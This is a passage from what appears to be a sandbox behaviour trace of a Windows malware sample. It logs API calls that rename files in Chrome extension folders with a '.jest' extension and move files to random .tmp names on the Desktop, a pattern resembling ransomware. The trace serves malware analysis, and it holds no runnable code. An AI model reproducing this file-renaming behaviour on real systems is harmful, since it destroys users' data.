Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.jest")) returned 1 [0150.443] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x18e6d8*="icon_16.png") returned 0x89 [0150.443] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x140, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x146c828, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.444] GetLastError () returned 0x2 [0150.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.444] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.444] VarBstrFromR4 (in: fltIn=0x47945011, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.13") returned 0x0 [0150.445] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.445] CoFreeUnusedLibraries () [0150.445] GetTickCount () returned 0x115762a [0150.445] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.445] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.445] GetTickCount () returned 0x115762a [0150.445] IsWindowVisible (hWnd=0x30268) returned 0 [0150.445] Sleep (dwMilliseconds=0x0) [0150.446] GetFullPathNameA (in: lpFileName="la0fV_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\la0fV_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp", lpFilePart=0x18e708*="la0fV_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp") returned 0x8d [0150.446] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x18e708*="icon_16.png") returned 0x89 [0150.446] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\la0fV_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\la0fv_ptsjducff-exzvd_t_dld60ijwqmvdywrqhvlhv wq23ovg_tplhihjjwwkxsx4ot_yoojb7zkglxxvbsvgwut46u30sp.tmp")) returned 0 [0150.447] GetLastError () returned 0x2 [0150.447] GetLastError () returned 0x2 [0150.447] SetLastError (dwErrCode=0x2) [0150.447] GetLastError () returned 0x2 [0150.447] SetLastError (dwErrCode=0x2) [0150.447] GetLastError () returned 0x2 [0150.447] SetLastError (dwErrCode=0x2) [0150.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.447] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.447] GetFullPathNameA (in: lpFileName="la0fV_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\la0fV_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp", lpFilePart=0x18e6e4*="la0fV_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp") returned 0x8d [0150.447] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\la0fV_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6630616c, cFileName="V_PtSjDUcFF-eXZVD_t_dld60iJWqMvDywRqhVLhv wq23oVG_TpLhIhjjwWKxSx4oT_YOOJb7zkglxxVbSVGWUT46u30sP.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.448] GetLastError () returned 0x2 [0150.448] GetLastError () returned 0x2 [0150.448] SetLastError (dwErrCode=0x2) [0150.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.448] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.449] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.449] CoFreeUnusedLibraries () [0150.449] GetTickCount () returned 0x115762a [0150.449] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.449] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.449] GetTickCount () returned 0x115762a [0150.449] IsWindowVisible (hWnd=0x30268) returned 0 [0150.449] Sleep (dwMilliseconds=0x0) [0150.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.450] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.450] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.jest")) returned 1 [0150.451] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x18e6d8*="main.html") returned 0x87 [0150.451] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x0, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.452] GetLastError () returned 0x2 [0150.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.452] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.452] VarBstrFromR4 (in: fltIn=0x47945011, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.13") returned 0x0 [0150.453] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.453] CoFreeUnusedLibraries () [0150.453] GetTickCount () returned 0x115762a [0150.453] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.453] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.453] GetTickCount () returned 0x115762a [0150.453] IsWindowVisible (hWnd=0x30268) returned 0 [0150.453] Sleep (dwMilliseconds=0x0) [0150.454] GetFullPathNameA (in: lpFileName="XhUs8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XhUs8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp", lpFilePart=0x18e708*="XhUs8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp") returned 0x8c [0150.454] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x18e708*="main.html") returned 0x87 [0150.454] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XhUs8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xhus8pcdd5i_5f8tyrtqljw omfslcdozj9ky-iwyjiurrgvtzp1gl7tgj0silwmhsjacdrci6k_ms5hcyuanbwyfycl9whfhw.tmp")) returned 0 [0150.455] GetLastError () returned 0x2 [0150.455] GetLastError () returned 0x2 [0150.455] SetLastError (dwErrCode=0x2) [0150.455] GetLastError () returned 0x2 [0150.455] SetLastError (dwErrCode=0x2) [0150.455] GetLastError () returned 0x2 [0150.455] SetLastError (dwErrCode=0x2) [0150.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.455] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.456] GetFullPathNameA (in: lpFileName="XhUs8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XhUs8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp", lpFilePart=0x18e6e4*="XhUs8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp") returned 0x8c [0150.456] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XhUs8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x73556858, cFileName="8PCDd5i_5F8tyrTqLJW OmfslcdozJ9KY-IWYjIUrrGvtzp1gl7tgj0sIlwMHsjAcDRci6K_Ms5hCYUAnBWyFYcl9WHfHW.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.456] GetLastError () returned 0x2 [0150.456] GetLastError () returned 0x2 [0150.456] SetLastError (dwErrCode=0x2) [0150.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.456] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.457] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.457] CoFreeUnusedLibraries () [0150.457] GetTickCount () returned 0x1157639 [0150.457] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.458] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.458] GetTickCount () returned 0x1157639 [0150.458] IsWindowVisible (hWnd=0x30268) returned 0 [0150.458] Sleep (dwMilliseconds=0x0) [0150.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.458] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.459] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.jest")) returned 1 [0150.477] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png", lpFilePart=0x18e6d8*="128.png") returned 0x85 [0150.477] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x0, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.477] GetLastError () returned 0x2 [0150.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.477] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.478] VarBstrFromR4 (in: fltIn=0x47945015, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.16") returned 0x0 [0150.478] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.478] CoFreeUnusedLibraries () [0150.478] GetTickCount () returned 0x1157649 [0150.478] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.478] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.478] GetTickCount () returned 0x1157649 [0150.479] IsWindowVisible (hWnd=0x30268) returned 0 [0150.479] Sleep (dwMilliseconds=0x0) [0150.479] GetFullPathNameA (in: lpFileName="wumWg3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wumWg3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp", lpFilePart=0x18e708*="wumWg3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp") returned 0x8f [0150.480] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png", lpFilePart=0x18e708*="128.png") returned 0x85 [0150.480] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wumWg3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wumwg3mqht3td_dcwmzdnrpfm6dgz-0e3rhysr9y52ke02j4u9kitexk8pob0pa2xxd7rikuho--vpzs1g0wdrxiu8lnvybwoioxt.tmp")) returned 0 [0150.480] GetLastError () returned 0x2 [0150.480] GetLastError () returned 0x2 [0150.480] SetLastError (dwErrCode=0x2) [0150.480] GetLastError () returned 0x2 [0150.480] SetLastError (dwErrCode=0x2) [0150.480] GetLastError () returned 0x2 [0150.481] SetLastError (dwErrCode=0x2) [0150.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.481] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.481] GetFullPathNameA (in: lpFileName="wumWg3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wumWg3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp", lpFilePart=0x18e6e4*="wumWg3Mqht3tD_dcWMZdNRpfM6dgz-0E3RhySR9y52ke02j4u9kITExK8pOb0Pa2XXd7RIkUho--vpZs1G0wDrxiU8lNvyBwOiOxT.tmp") returned 0x8f [0150.481] FindFirstFileA (in: 